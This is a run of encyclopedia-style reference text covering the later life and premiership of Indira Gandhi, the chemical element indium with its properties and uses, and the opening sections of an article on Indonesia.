          When India's first general election approached in 1951, Gandhi managed the campaigns of both Nehru and her husband, who was contesting the constituency of Rae Bareilly. Feroze had not consulted Nehru on his choice to run, and even though he was elected, he opted to live in a separate house in Delhi. Feroze quickly developed a reputation for being a fighter against corruption by exposing a major scandal in the nationalized insurance industry, resulting in the resignation of the Finance Minister, a Nehru aide.


          At the height of the tension, Gandhi and her husband separated. However, in 1958, shortly after re-election, Feroze suffered a heart attack, which dramatically healed their broken marriage. At his side to help him recuperate in Kashmir, their family grew closer. But Feroze died on September 8, 1960, while Gandhi was abroad with Nehru on a foreign visit.


          


          President of the Indian National Congress


          
            [image: Indira and Mahatma Gandhi circa the 1930s]

            
              Indira and Mahatma Gandhi circa the 1930s
            

          


          During 1959 and 1960, Gandhi ran for and was elected the President of the Indian National Congress. Her term of office was uneventful. She also acted as her father's chief of staff. Nehru was known as a vocal opponent of nepotism, and she did not contest a seat in the 1962 elections.


          Nehru died on May 27, 1964, and Gandhi, at the urgings of the new Prime Minister Lal Bahadur Shastri, contested elections and joined the Government, being immediately appointed Minister for Information and Broadcasting. She went to Madras when the riots over Hindi becoming the national language broke out in non-Hindi speaking states of the south. There she spoke to government officials, soothed the anger of community leaders and supervised reconstruction efforts for the affected areas. Shastri and senior Ministers were embarrassed, owing to their lack of such initiative. Minister Gandhi's actions were probably not directly aimed at Shastri or her own political elevation. She reportedly lacked interest in the day-to-day functioning of her Ministry, but was media-savvy and adept at the art of politics and image-making.


          
            "During the succession struggles after 1965 between Mrs. Gandhi and her rivals, the central Congress [party] leadership in several states moved to displace upper caste leaders from state Congress [party] organizations and replace them with backward caste persons and to mobilize the votes of the latter castes to defeat its rivals in the state Congress [party] and in the opposition. The consequences of these interventions, some of which may justly be perceived as socially progressive, have nevertheless often had the consequences of intensifying inter-ethnic regional conflicts...

          


          While the Indo-Pakistani War of 1965 was ongoing, Gandhi was vacationing in the border region of Srinagar. Although warned by the Army that Pakistani insurgents had penetrated very close to the city, she refused to relocate to Jammu or Delhi and instead rallied local government and welcomed the media attention. Shastri died in Tashkent, hours after signing the peace agreement with Pakistan's Ayub Khan, mediated by the Soviets.


          The Congress Party President K. Kamaraj was then instrumental in making Indira Gandhi as Prime Minister, despite the opposition from Morarji Desai who was later defeated by the members of the Congress Parliamentary Party,where Indira Gandhi beat Morarji Desai by 355 votes to 169 to become the fourth Prime Minister of India and the first woman to hold that position.


          


          Prime Minister


          


          Foreign and Domestic Policy and National Security


          


          When Mrs. Gandhi became Prime Minister in 1966 the Congress was split in two factions, the socialists led by Mrs. Gandhi, and the conservatives led by Morarji Desai. Morarji Desai called her "Gungi Gudiya" which means 'Dumb Doll'. The internal problems showed in the 1967 election where the Congress lost nearly 60 seats winning 297 seats in the 545 seat Lok Sabha. She had to accommodate Desai as Deputy Prime Minister of India and Finance Minister of India. In 1969 after many disagreements with Desai, the Indian National Congress split. She ruled with support from Socialist and Communist Parties for the next two years. In the same year, in July 1969 she nationalised banks. In 1971, to solve the Bangladeshi refugee problem, she declared war, on Pakistan, on the side of the East Pakistanis, who were fighting for their independence. During the 1971 War, the US under President Richard Nixon sent its Seventh Fleet to the Bay of Bengal as a warning to India keep away from East Pakistan as a pretext to launch a wider attack against West Pakistan, especially over the territory of Kashmir. This move had further alienated India from the First World, and Prime Minister Gandhi now accelerated a previously cautious new direction in national security and foreign policy. India and the USSR had earlier signed the Treaty of Friendship and Mutual Cooperation, resulting in political and military support contributing substantially to India's victory in the 1971 war.


          


          Nuclear Programme


          But Gandhi now had a national nuclear programme, as it was felt that the nuclear threat from the People's Republic of China and the intrusive interest of the two major superpowers were not conducive to India's stability and security. She also invited the new Pakistani President Zulfikar Ali Bhutto to Shimla for a week-long summit. After the near-failure of the talks, the two heads of state eventually signed the Shimla Agreement, which bound the two countries to resolve the Kashmir dispute by negotiations and peaceful means.


          Indira Gandhi was criticized by some for not making the Line of Control a permanent border while a few critics even believed that Pakistan-administered Kashmir should have been extracted from Pakistan, whose 93,000 prisoners of war were under Indian control. But the agreement did remove immediate United Nations and third party interference, and greatly reduced the likelihood of Pakistan launching a major attack in the near future. By not demanding total capitulation on a sensitive issue from Bhutto, she had allowed Pakistan to stabilize and normalize. Trade relations were also normalized, though much contact remained frozen for years.


          In 1974, India successfully conducted an underground nuclear test, unofficially code named as smiling Buddha, near the desert village of Pokhran in Rajasthan. Describing the test as for peaceful purposes, India became the world's youngest nuclear power.


          


          Green Revolution
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          Special agricultural innovation programs and extra government support launched in the 1960s finally transformed India's chronic food shortages into surplus production of wheat, rice, cotton and milk. Rather than relying on food aid from the United States - headed by a President whom Mrs. Gandhi disliked considerably (the feeling was mutual: to Nixon, Indira was "the old witch"), the country became a food exporter. That achievement, along with the diversification of its commercial crop production, has become known as the Green Revolution. At the same time, the White Revolution was an expansion in milk production which helped to combat malnutrition, especially amidst young children. 'Food security', as the programme was called, was another source of support for Mrs. Gandhi in the years leading up to 1975.


          Established in the early 1960s, the Green Revolution was the unofficial name given to the Intense Agricultural District Programme (IADP) which sought to insure abundant, inexpensive grain for urban dwellers upon whose support Gandhi -- as indeed all Indian politicians -- heavily depended. The program was based on four premises: 1) New varieties of seed(s), 2) Acceptance of the necessity of the chemicalization of Indian agriculture, i.e. fertilizers, pesticides, weed killers, etc., 3) A commitment to national and international cooperative research to develop new and improved existing seed varieties, 4) The concept of developing a scientific, agricultural institutions in the form of land grant colleges. Lasting about ten years, the program was ultimately to bring about a tripling of wheat production, a lower but still impressive increase of rice; while there was little to no increase (depending on area, and adjusted for population growth) of such cereals as millet, gram and coarse grain, though these did, in fact, retain a relatively stable yield.


          [bookmark: 1971_Poll_Victory_.2C_and_second_term_.281971-1975.29]


          1971 Poll Victory , and second term (1971-1975)


          Gandhi's government faced major problems after her tremendous mandate of 1971. The internal structure of the Congress Party had withered following its numerous splits, leaving it entirely dependent on her leadership for its election fortunes. Garibi Hatao (Stop Poverty) was the theme for Gandhi's 1971 bid. The slogan and the proposed anti-poverty programs that came with it were designed to give Gandhi an independent national support, based on rural and urban poor. This would allow her to bypass the dominant rural castes both in and of state and local government; likewise the urban commercial class. And, for their part, the previously voiceless poor would at last gain both political worth and political weight.


          The programs created through Garibi Hatao, though carried out locally, were funded, developed, supervised, and staffed by New Delhi and the Indian National Congress party. "These programs also provided the central political leadership with new and vast patronage resources to be disbursed...throughout the country." In the end, Garibi Hatao did little to help the poor: Only about 4% of all funds allocated for economic development went to the three main anti-poverty programs, and almost none of it ever reached the 'poorest of the poor'. So although the program failed to stop poverty it achieved its goal of getting Gandhi elected.


          


          Leaning Toward Totalitarianism


          Gandhi had already been accused of authoritarianism. By using her strong parliamentary majority, her ruling Congress Party had amended the Constitution and altered the balance of power between the Centre and the States in favour of the Central Government. She had twice imposed President's Rule under Article 356 of the Constitution by declaring states ruled by opposition parties as "lawless and chaotic", and thus seizing control. In addition, elected officials and the administrative services resented the growing influence of Sanjay Gandhi, who had become Gandhi's close political adviser at the expense of men like P. N. Haksar, Gandhi's previous adviser during her rise to power. In response to her new tendency for authoritarian use of power, public figures and former freedom-fighters like Jaya Prakash Narayan, Satyendra Narayan Sinha and Acharya Jivatram Kripalani toured India, speaking actively against her and her government.


          


          Charges


          On June 12, 1975 the High Court of Allahabad declared Indira Gandhi's election to the Lok Sabha void on grounds of alleged malpractices in an election petition filed by Raj Narain (who had repeatedly contested her Parliamentary constituency of Rae Bareli without success). The court thus ordered her to be removed from her seat in Parliament and banned from running in elections for six years. The Prime Minister must be a member of either the Lok Sabha (lower house in the Parliament of India) or the Rajya Sabha (the upper house of the Parliament). Thus, this decision effectively removed her from office.


          When Gandhi appealed the decision; the opposition parties and their supporters, eager to gain political capital from the situation, rallied en masse calling for her resignation. The sheer number of strikes by unions and protesters paralyzed life in many states. To strengthen this movement, J. P. Narayan called upon the police to disobey orders if asked to fire on unarmed crowds. Public disenchantment with her government combined with hard economic times and huge crowds of protestors surrounded the Parliament building and her residence in Delhi, demanding her resignation.


          


          


          State of Emergency (1975-1977)


          Gandhi moved to restore order by ordering the arrest of most of the opposition participating in the unrest. Her Cabinet and government then recommended that President Fakhruddin Ali Ahmed declare a state of emergency, because of the disorder and lawlessness following the Allahabad High Court decision. Accordingly, Ahmed declared a State of Emergency caused by internal disorder, based on the provisions of Article 352 of the Constitution, on June 26, 1975.


          


          Rule by Decree


          Within a few months, President's Rule was imposed on the two opposition party ruled states of Gujarat and Tamil Nadu thereby bringing the entire country under direct Central rule. Police were granted powers to impose curfews and indefinitely detain citizens and all publications were subjected to substantial censorship by the Ministry of Information and Broadcasting. Inder Kumar Gujral, a future prime minister himself, resigned as Minister for Information and Broadcasting to protest Sanjay Gandhi's interference in his work. Finally, impending legislative assembly elections were indefinitely postponed, with all opposition-controlled state governments being removed by virtue of the constitutional provision allowing for a dismissal of a state government on recommendation of the state's governor.


          Gandhi used the emergency provisions to grant herself extraordinary powers.


          
            "Unlike her father [Nehru], who preferred to deal with strong chief ministers in control of their legislative parties and state party organizations, Mrs. Gandhi set out to remove every Congress chief minister who had an independent base and to replace each of them with ministers personally loyal to her...Even so, stability could not be maintained in the states..."

          


          It is alleged that she further moved President Ahmed to issue ordinances that did not need to be debated in Parliament, allowing her to rule by decree.


          Simultaneously, Gandhi's government undertook a campaign to stamp out dissent including the arrest and detention of thousands of political activists; Sanjay was instrumental in initiating the clearing of slums around Delhi's Jama Masjid under the supervision of Jag Mohan, later Lt. Governor of Delhi, which allegedly left thousands of people homeless and hundreds killed, and led to communal embitterment in those parts of the nation's capital; and the family planning program which forcibly imposed vasectomy on thousands of fathers and was often poorly administered.


          


          Elections


          In 1977, Gandhi called elections. One factor was the economic gains, though there may have been political considerations at play. Gandhi may have grossly misjudged her popularity by reading what the heavily censored press wrote about her, or may have feared a military coup had she attempted to rule by decree any longer (There were reports that the Armed Forces would forcibly remove her from power and hold elections. See Tapishwar Narain Raina). In any case, she was soundly defeated by the Janata Party. Janata, led by her long-time rival, Desai and with Jai Prakash Narayan as its spiritual guide, claimed the elections were the last chance for India to choose between "democracy and dictatorship." Indira and Sanjay Gandhi both lost their seats, and Congress was cut down to 153 seats (compared with 350 in the previous Lok Sabha), 92 of which were in the south.


          


          Removal, Arrest, and Return
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          Desai became Prime Minister and Neelam Sanjiva Reddy, the establishment choice of 1969, became President of the Republic. Gandhi found herself without work, income or residence until winning a by-election in 1978. The Congress Party split during the election campaign of 1977 with veteran Gandhi supporters like Jagjivan Ram abandoning her for Janata. The Congress (Gandhi) Party was now a much smaller group in Parliament, although the official opposition.


          Unable to govern owing to fractious coalition warfare, the Janata government's Home Minister, Choudhary Charan Singh, ordered the arrest of Indira and Sanjay Gandhi on several charges, none of which would be easy to prove in an Indian court. The arrest meant that Indira was automatically expelled from Parliament. However, this strategy backfired disastrously. Her arrest and long-running trial, however, gained her great sympathy from many people who had feared her as a tyrant just two years earlier.


          The Janata coalition was only united by its hatred of Mrs. Gandhi (or "that woman" as some called her). With so little in common, the government was bogged down by infighting and Gandhi was able to use the situation to her advantage. She began giving speeches again, tacitly apologizing for "mistakes" made during the Emergency. Desai resigned in June 1979, and Charan Singh was appointed Prime Minister by Reddy after Mrs. Gandhi promised that Congress would support his government from outside.


          After a short interval, she withdrew her initial support and President Reddy dissolved Parliament in the winter of 1979. In elections held the following January, Congress was returned to power with a landslide majority.


          Indira Gandhi was awarded the Lenin Peace Prize (for 1983-84).
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          Operation Blue Star and assassination


          

          Gandhi's later years were bedeviled with problems in Punjab. In September 1981, Jarnail Singh Bhindranwale 's separatist Sikh militant group took up positions within the precincts of the Golden Temple, Sikhism's holiest shrine. Despite the presence of thousands of civilians in the Golden Temple complex at the time Gandhi ordered the Army into the shrine in an attempt to clear it of the militants. Accounts differ in the number of military and civilian casualties. Government estimates include four officers, seventy-nine soldiers, and 492 militants; other accounts are much higher, perhaps 500 or more troops and 3,000 others, including many pilgrims caught in the crossfire.. While the exact figures related to civilian casualties are disputed, the timing and method of the attack remain controversial.


          Indira Gandhi had numerous bodyguards, two of whom were Satwant Singh and Beant Singh, both Sikhs. On October 31, 1984 they assassinated Indira Gandhi with their service weapons in the garden of the Prime Minister's Residence at No. 1, Safdarjung Road in New Delhi. As she was walking to be interviewed by the British actor Peter Ustinov filming a documentary for Irish television, she passed a wicket gate, guarded by Satwant and Beant. According to information available immediately following the incident, Beant Singh shot her thrice using his side-arm and Satwant Singh fired twenty-two rounds into her using a Sten carbine. Beant Singh was shot dead and Satwant Singh was shot and arrested by her other bodyguards.


          Gandhi died on her way to the hospital, in her official car, but she was not declared dead until many hours later. She was taken to the All India Institute of Medical Sciences, where doctors operated on her. Official accounts at the time stated as many as 29 entry and exit wounds and some reports stated 31 bullets were extracted from her body. She was cremated on November 3, near Raj Ghat and the place was called Shakti Sthal. After her death, sectarian unrest engulfed New Delhi and several other cities in India, including Kanpur, Asansol and Indore, leading to the death of thousands of Sikhs. Gandhi's friend and biographer Pupul Jayakar would later reveal Indira's tension, and her premonition about what might happen in the wake of Operation Blue Star.


          


          Personal life


          


          Nehru-Gandhi family


          Initially Sanjay had been her chosen heir; but after his death in a flying accident, his mother persuaded a reluctant Rajiv Gandhi to quit his job as a pilot and enter politics in February 1981.


          After Indira Gandhi's death, Rajiv Gandhi became Prime Minister. In May 1991, he too was assassinated, this time at the hands of Liberation Tigers of Tamil Eelam militants. Rajiv's widow, Sonia Gandhi, led the United Progressive Alliance to a surprise electoral victory in the 2004 Lok Sabha elections.


          Sonia Gandhi declined the opportunity to assume the office of Prime Minister but remains in control of the Congress' political apparatus; Prime Minister Dr. Manmohan Singh, formerly finance minister, now heads the nation. Rajiv's children, Rahul Gandhi and Priyanka Gandhi Vadra, have also entered politics. Sanjay Gandhi's widow, Maneka Gandhi - who fell out with Indira after Sanjay's death and was famously thrown out of the Prime Minister's house - as well as Sanjay's son, Varun Gandhi, are active in politics as members of the main opposition BJP party.


          


          Indira Gandhi in popular culture


          
            	Her assassination is mentioned by Tom Clancy in his novel Executive Orders.


            	Although never mentioned by name, Indira Gandhi is clearly the prime minister in A Fine Balance by Rohinton Mistry.


            	In Salman Rushdie's novel Midnight's Children, Indira is responsible for the eponymous characters' downfall, referred to throughout the novel as "The Widow." This portrayal of Indira Gandhi raised controversy in some circles for its harsh depiction both of her and of her policies.


            	In Shashi Tharoor's The Great Indian Novel, the character of Priya Duryodhani clearly refers to Indira Gandhi.


            	" Aandhi," a Hindi movie(feature film) directed by Gulzar, is a partly fictionalized adaptation of some events in Indira's life, particularly her (played by Suchitra Sen) difficult relationship with her husband (played by Sanjeev Kumar).


            	In Yann Martel's Life of Pi, Indira Gandhi is noted several times as "Mrs. Gandhi" when referring to the political climate of India in the mid 1970s.
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              	General
            


            
              	Name, Symbol, Number

              	indium, In, 49
            


            
              	Chemical series

              	poor metals
            


            
              	Group, Period, Block

              	13, 5, p
            


            
              	Appearance

              	silvery lustrous gray

              [image: ]
            


            
              	Standard atomic weight

              	114.818 (3) gmol1
            


            
              	Electron configuration

              	[Kr] 4d10 5s2 5p1
            


            
              	Electrons per shell

              	2, 8, 18, 18, 3
            


            
              	Physical properties
            


            
              	Phase

              	solid
            


            
              	Density (near r.t.)

              	7.31 gcm3
            


            
              	Liquid density at m.p.

              	7.02 gcm3
            


            
              	Melting point

              	429.75 K

              (156.60 C, 313.88 F)
            


            
              	Boiling point

              	2345 K

              (2072 C, 3762 F)
            


            
              	Heat of fusion

              	3.281  kJmol1
            


            
              	Heat of vaporization

              	231.8  kJmol1
            


            
              	Specific heat capacity

              	(25C) 26.74 Jmol1K1
            


            
              	
                
                  
                    Vapor pressure
                  

                  
                    	P(Pa)

                    	1

                    	10

                    	100

                    	1 k

                    	10 k

                    	100 k
                  


                  
                    	at T(K)

                    	1196

                    	1325

                    	1485

                    	1690

                    	1962

                    	2340
                  

                

              
            


            
              	Atomic properties
            


            
              	Crystal structure

              	tetragonal
            


            
              	Oxidation states

              	3

              ( amphoteric oxide)
            


            
              	Electronegativity

              	1.78 (Pauling scale)
            


            
              	Ionization energies

              ( more)

              	1st: 558.3  kJmol1
            


            
              	2nd: 1820.7 kJmol1
            


            
              	3rd: 2704 kJmol1
            


            
              	Atomic radius

              	155  pm
            


            
              	Atomic radius (calc.)

              	156 pm
            


            
              	Covalent radius

              	144 pm
            


            
              	Van der Waals radius

              	193 pm
            


            
              	Miscellaneous
            


            
              	Magnetic ordering

              	no data
            


            
              	Electrical resistivity

              	(20C) 83.7 nm
            


            
              	Thermal conductivity

              	(300K) 81.8 Wm1K1
            


            
              	Thermal expansion

              	(25C) 32.1 mm1K1
            


            
              	Speed of sound (thin rod)

              	(20 C) 1215 m/s
            


            
              	Young's modulus

              	11 GPa
            


            
              	Mohs hardness

              	1.2
            


            
              	Brinell hardness

              	8.83 MPa
            


            
              	CAS registry number

              	7440-74-6
            


            
              	Selected isotopes
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                    	iso

                    	NA

                    	half-life

                    	DM

                    	DE ( MeV)

                    	DP
                  


                  
                    	113In

                    	4.3%

                    	113In is stable with 64 neutrons
                  


                  
                    	115In

                    	95.7%

                    	4.411014 y

                    	Beta-

                    	0.495

                    	115Sn
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          Indium (pronounced /ˈɪndiəm/) is a chemical element with chemical symbol In and atomic number 49. This rare, soft, malleable and easily fusible poor metal is chemically similar to aluminium or gallium but more closely resembles zinc (zinc ores are also the primary source of this metal). Its current primary application is to form transparent electrodes from indium tin oxide in liquid crystal displays. It is widely used in thin-films to form lubricated layers (during World War II it was widely used to coat bearings in high-performance aircraft). It's also used for making particularly low melting point alloys, and is a component in some lead-free solders.


          


          Notable characteristics


          Indium is a very soft, silvery- white, relatively rare true metal with a bright luster. As a pure metal indium emits a high-pitched " cry", when it is bent. Both gallium and indium are able to wet glass.


          One unusual property of indium is that its most common isotope is slightly radioactive; it very slowly decays by beta emission to tin. This radioactivity is not considered hazardous, mainly because its half-life is 4.411014 years, four orders of magnitude larger than the age of the universe and nearly 50,000 times longer than that of natural thorium. Unlike its period 5 neighbour cadmium, indium is not a notorious cumulative poison.


          


          Applications


          The first large-scale application for indium was as a coating for bearings in high-performance aircraft engines during World War II. Afterwards, production gradually increased as new uses were found in fusible alloys, solders, and electronics. In the 1950s, tiny beads of it were used for the emitters and collectors of alloy junction transistors. In the middle and late 1980s, the development of indium phosphide semiconductors and indium tin oxide thin films for liquid crystal displays (LCD) aroused much interest. By 1992, the thin-film application had become the largest end use. Other uses:


          
            	For manufacture of low-melting-temperature alloys. An alloy consisting of 24% indium and 76% gallium is liquid at room temperature.


            	Some indium compounds such as indium antimonide, indium phosphide, and indium nitride are semiconductors with useful properties.


            	Component required for synthesis of the semiconductor Copper indium gallium selenide (CIGS), which is used for the manufacture of thin film solar cells.


            	Used in light-emitting diodes (LEDs) and Laser Diodes (LDs) based on compound semiconductors that are fabricated by Metalorganic Vapor Phase Epitaxy ( MOVPE) technology.


            	The ultrapure metalorganics of indium, specifically high purity trimethylindium (TMI) is used as a precursor in III-V compound semiconductors, while it is also used as the semiconductor dopant in II-VI compound semiconductors.


            	Can also be plated onto metals and evaporated onto glass which forms a mirror which is as good as those made with silver but has higher corrosion resistance.


            	Indium oxide (In2O3) is used as a transparent conductive glass substrate in the making of electroluminescent panels.


            	Used as a light filter in low pressure sodium vapor lamps.


            	Indium's freezing point of 429.7485 K (156.5985 C) is a defining fixed point on the international temperature scale ITS-90.


            	Indium's high neutron capture cross section for thermal neutrons makes it suitable for use in control rods for nuclear reactors, typically in an alloy containing 80% silver, 15% indium, and 5% cadmium.


            	In nuclear engineering, the (n,n') reactions of 113In and 115In are used to determine magnitudes of neutron fluxes.


            	111In is used in medical imaging to monitor the activity of white blood cells. A blood test is taken from the patient, white cells removed and labelled with the radioactive 111In, then re-injected back into the patient. Gamma imaging will reveal any areas of high white cell activity such as an abscess.


            	Very small amounts used in aluminium alloy sacrificial anodes (for salt water applications) to prevent passivation of the aluminium.


            	In the form of a wire it is used as a vacuum seal in cryogenics applications.


            	Used as a calibration material for thermogravimetric analysis devices.

          


          


          History


          Indium (named after the indigo line in its atomic spectrum) was discovered by Ferdinand Reich and Hieronymous Theodor Richter in 1863 while they were testing zinc ores with a spectrograph in search of thallium. Richter went on to isolate the metal in 1867.


          


          Occurrence and consumption


          
            [image: Ductile Indium wire]

            
              Ductile Indium wire
            

          


          Indium ranks 61st in abundance in the Earth's crust at approximately 0.25 ppm , which means it is more than three times as abundant as silver, which occurs at 0.075 ppm . Up until 1924, there was only about a gram of isolated indium on the planet. Indium is produced mainly from residues generated during zinc ore processing but is also found in iron, lead, and copper ores. Canada is a leading producer of indium. The Teck Cominco refinery in Trail, BC, is the largest single source, with production of 32,500 kg in 2005, 41,800 kg in 2004 and 36,100 kg in 2003.


          The amount of indium consumed is largely a function of worldwide LCD production. Worldwide production is currently 476 tonnes per year from mining and a further 650 tonnes per year from recycling . Demand has risen rapidly in recent years with the popularity of LCD computer monitors and televisions, which now account for 50% of indium consumption . Increased manufacturing efficiency and recycling (especially in Japan) maintain a balance between demand and supply. Demand increased as the metal is used in LCDs and televisions, and supply decreased when a number of Chinese mining concerns stopped extracting indium from their zinc tailings. In 2002, the price was US$94 per kilogram. The recent changes in demand and supply have resulted in high and fluctuating prices of indium, which from 2005 to 2007 ranged from US$700/kg to US$1,000/kg . Demand for indium is likely to continue to increase with large-scale manufacture of CIGS-based thin film solar technology starting by several companies in 2008, including Nanosolar and Miasole.


          Based on content of indium in zinc ore stocks, there is a world-wide reserve base of approximately 6,000 tonnes of economically-viable indium . This figure has led to estimates suggesting that, at current consumption rates, there is only 13 years' supply of indium left . However, such estimates are often regarded as alarmist and scaremongering . The Indium Corporation, the largest processor of indium, claim that, on the basis of increasing recovery yields during extraction, recovery from a wider range of base metals (including tin, copper and other polymetallic deposits) and new mining investments, the long-term supply of indium is sustainable, reliable and sufficient to meet increasing future demands . This conclusion also seems reasonable in light of the fact that silver, a less abundant element, is currently mined at approximately 18,300 tonnes per annum , which is 40 times greater than current indium mining rates.


          


          Precautions


          Pure indium in metal form is considered non-toxic by most sources. In the welding and semiconductor industries, where indium exposure is relatively high, there have been no reports of any toxic side-effects.


          This may not be the case with indium compounds: there is some unconfirmed evidence that suggests that indium has a low level of toxicity. Other sources are more definite about indium compounds' toxicity - for example, the WebElements website states that "All indium compounds should be regarded as highly toxic. Indium compounds damage the heart, kidney, and liver, and may be teratogenic." For example, indium trichloride anhydrous (InCl3) is quite toxic, while indium phosphide (InP) is both toxic and a suspected carcinogen.
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                    	Coat of arms
                  

                

              
            


            
              	Motto: Bhinneka Tunggal Ika( Old Javanese)

              Unity in Diversity

              National ideology: Pancasila
            


            
              	Anthem: Indonesia Raya
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              	Capital

              (and largest city)

              	Jakarta

            


            
              	Official languages

              	Indonesian
            


            
              	Demonym

              	Indonesian
            


            
              	Government

              	Presidential republic
            


            
              	-

              	President

              	Susilo Bambang Yudhoyono
            


            
              	-

              	Vice President

              	Jusuf Kalla
            


            
              	Independence
            


            
              	-

              	Declared

              	17 August 1945
            


            
              	Area
            


            
              	-

              	Total

              	1,919,440km( 16th)

              735,355 sqmi
            


            
              	-

              	Water(%)

              	4.85
            


            
              	Population
            


            
              	-

              	July 2007 est.estimate

              	234,693,997( 4th)
            


            
              	-

              	2000census

              	206,264,595
            


            
              	-

              	Density

              	134/km( 84th)

              347/sqmi
            


            
              	GDP( PPP)

              	2007estimate
            


            
              	-

              	Total

              	$1,038 billion ( 15th)
            


            
              	-

              	Per capita

              	$4,356 ( 114th)
            


            
              	GDP (nominal)

              	2007estimate
            


            
              	-

              	Total

              	$408 billion ( 21st)
            


            
              	-

              	Per capita

              	$1,812 ( 114th)
            


            
              	Gini(2002)

              	34.3
            


            
              	HDI(2007)

              	▲ 0.728(medium)( 107th)
            


            
              	Currency

              	Rupiah ( IDR)
            


            
              	Time zone

              	various ( UTC+7 to +9)
            


            
              	Internet TLD

              	.id
            


            
              	Calling code

              	+62
            

          


          The Republic of Indonesia (IPA: /ˌɪndoʊˈniːziːə/, /ˌɪndəˈniːziːə/) (Indonesian: Republik Indonesia), is a nation in Southeast Asia. Comprising 17,508 islands, it is the world's largest archipelagic state. With a population of over 234 million people, it is the world's fourth most populous country and the most populous Muslim-majority nation, although officially it is not an Islamic state. Indonesia is a republic, with an elected parliament and president. The nation's capital city is Jakarta. The country shares land borders with Papua New Guinea, East Timor and Malaysia. Other neighboring countries include Singapore, the Philippines, Australia, and the Indian territory of the Andaman and Nicobar Islands.


          The Indonesian archipelago has been an important trade region since at least the seventh century, when the Srivijaya Kingdom formed trade links with China. Indonesian history has been influenced by foreign powers drawn to its natural resources. Under Indian influence, Hindu and Buddhist kingdoms flourished from the early centuries CE. Muslim traders brought Islam, and European powers fought one another to monopolize trade in the Spice Islands of Maluku during the Age of Discovery. Following three and a half centuries of Dutch colonialism, Indonesia secured its independence after World War II. Indonesia's history has since been turbulent, with challenges posed by natural disasters, corruption, separatism, a democratization process, and periods of rapid economic change.


          Across its many islands, Indonesia consists of distinct ethnic, linguistic, and religious groups. The Javanese are the largest and politically dominant ethnic group. As a unitary state and a nation, Indonesia has developed a shared identity defined by a national language, a majority Muslim population, and a history of colonialism and rebellion against it. Indonesia's national motto, " Bhinneka tunggal ika" ("Unity in Diversity" lit. "many, yet one"), articulates the diversity that shapes the country. However, sectarian tensions and separatism have led to violent confrontations that have undermined political and economic stability. Despite its large population and densely populated regions, Indonesia has vast areas of wilderness that support the world's second highest level of biodiversity. The country is richly endowed with natural resources, yet poverty is a defining feature of contemporary Indonesia.


          


          Etymology


          The name Indonesia derives from the Latin Indus, meaning "India", and the Greek nesos, meaning "island". The name dates to the 18th century, far predating the formation of independent Indonesia. In 1850, George Earl, an English ethnologist, proposed the terms Indunesians  and, his preference, Malayunesians  for the inhabitants of the "Indian Archipelago or Malayan Archipelago". In the same publication, a student of Earl's, James Richardson Logan, used Indonesia as a synonym for Indian Archipelago. However, Dutch academics writing in East Indies publications were reluctant to use Indonesia. Instead, they used the terms Malay Archipelago (Maleische Archipel); the Netherlands East Indies (Nederlandsch Oost Indi), popularly Indi; the East (de Oost); and even Insulinde.


          From 1900, the name Indonesia became more common in academic circles outside the Netherlands, and Indonesian nationalist groups adopted it for political expression. Adolf Bastian, of the University of Berlin, popularized the name through his book Indonesien oder die Inseln des Malayichen Archipels, 18841894. The first Indonesian scholar to use the name was Suwardi Suryaningrat (Ki Hajar Dewantara), when he established a press bureau in the Netherlands with the name Indonesisch Pers-bureau in 1913.


          


          History
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          Fossilized remains of Homo erectus, popularly known as the " Java Man", suggest the Indonesian archipelago was inhabited two million to 500,000 years ago. Austronesian people, who form the majority of the modern population, migrated to South East Asia from Taiwan. They arrived in Indonesia around 2000BCE, and confined the native Melanesian peoples to the far eastern regions as they expanded. Ideal agricultural conditions, and the mastering of wet-field rice cultivation as early as the eighth century BCE, allowed villages, towns, and small kingdoms to flourish by the first century CE. Indonesia's strategic sea-lane position fostered inter-island and international trade. For example, trade links with both Indian kingdoms and China were established several centuries BCE. Trade has since fundamentally shaped Indonesian history.
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          From the seventh century CE, the powerful Srivijaya naval kingdom flourished as a result of trade and the influences of Hinduism and Buddhism that were imported with it. Between the eighth and 10th centuries CE, the agricultural Buddhist Sailendra and Hindu Mataram dynasties thrived and declined in inland Java, leaving grand religious monuments such as Sailendra's Borobudur and Mataram's Prambanan. The Hindu Majapahit kingdom was founded in eastern Java in the late 13th century, and under Gajah Mada, its influence stretched over much of Indonesia; this period is often referred to as a "Golden Age" in Indonesian history.


          Although Muslim traders first traveled through South East Asia early in the Islamic era, the earliest evidence of Islamized populations in Indonesia dates to the 13th century in northern Sumatra. Other Indonesia areas gradually adopted Islam which became the dominant religion in Java and Sumatra by the end of the 16th century. For the most part, Islam overlaid and mixed with existing cultural and religious influences, which shaped the predominant form of Islam in Indonesia, particularly in Java. The first Europeans arrived in Indonesia in 1512, when Portuguese traders, led by Francisco Serro, sought to monopolize the sources of nutmeg, cloves, and cubeb pepper in Maluku. Dutch and British traders followed. In 1602 the Dutch established the Dutch East India Company (VOC) and became the dominant European power. Following bankruptcy, the VOC was formally dissolved in 1800, and the government of the Netherlands established the Dutch East Indies as a nationalized colony.


          For most of the colonial period, Dutch control over these territories was tenuous; only in the early 20th century did Dutch dominance extend to what was to become Indonesia's current boundaries. The Japanese invasion and subsequent occupation during World War II ended Dutch rule, and encouraged the previously suppressed Indonesian independence movement. Two days after the surrender of Japan in August 1945, Sukarno, an influential nationalist leader, declared independence and was appointed president. The Netherlands tried to reestablish their rule, and a bitter armed and diplomatic struggle ended in December 1949, when in the face of international pressure, the Dutch formally recognized Indonesian independence (with the exception of The Dutch territory of West New Guinea, which was incorporated following the 1962 New York Agreement, and UNmandated Act of Free Choice).
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          Sukarno moved from democracy towards authoritarianism, and maintained his power base by balancing the opposing forces of the Military, Islam, and the Communist Party of Indonesia (PKI). An attempted coup on 30 September 1965 was countered by the army, who led a violent anti-communist purge, during which the PKI was blamed for the coup and effectively destroyed. Between 500,000 and one million people were killed. The head of the military, General Suharto, out-maneuvered the politically weakened Sukarno, and was formally appointed president in March 1968. His New Order administration was supported by the US government, and encouraged foreign direct investment in Indonesia, which was a major factor in the subsequent three decades of substantial economic growth. However, the authoritarian "New Order" was widely accused of corruption and suppression of political opposition.


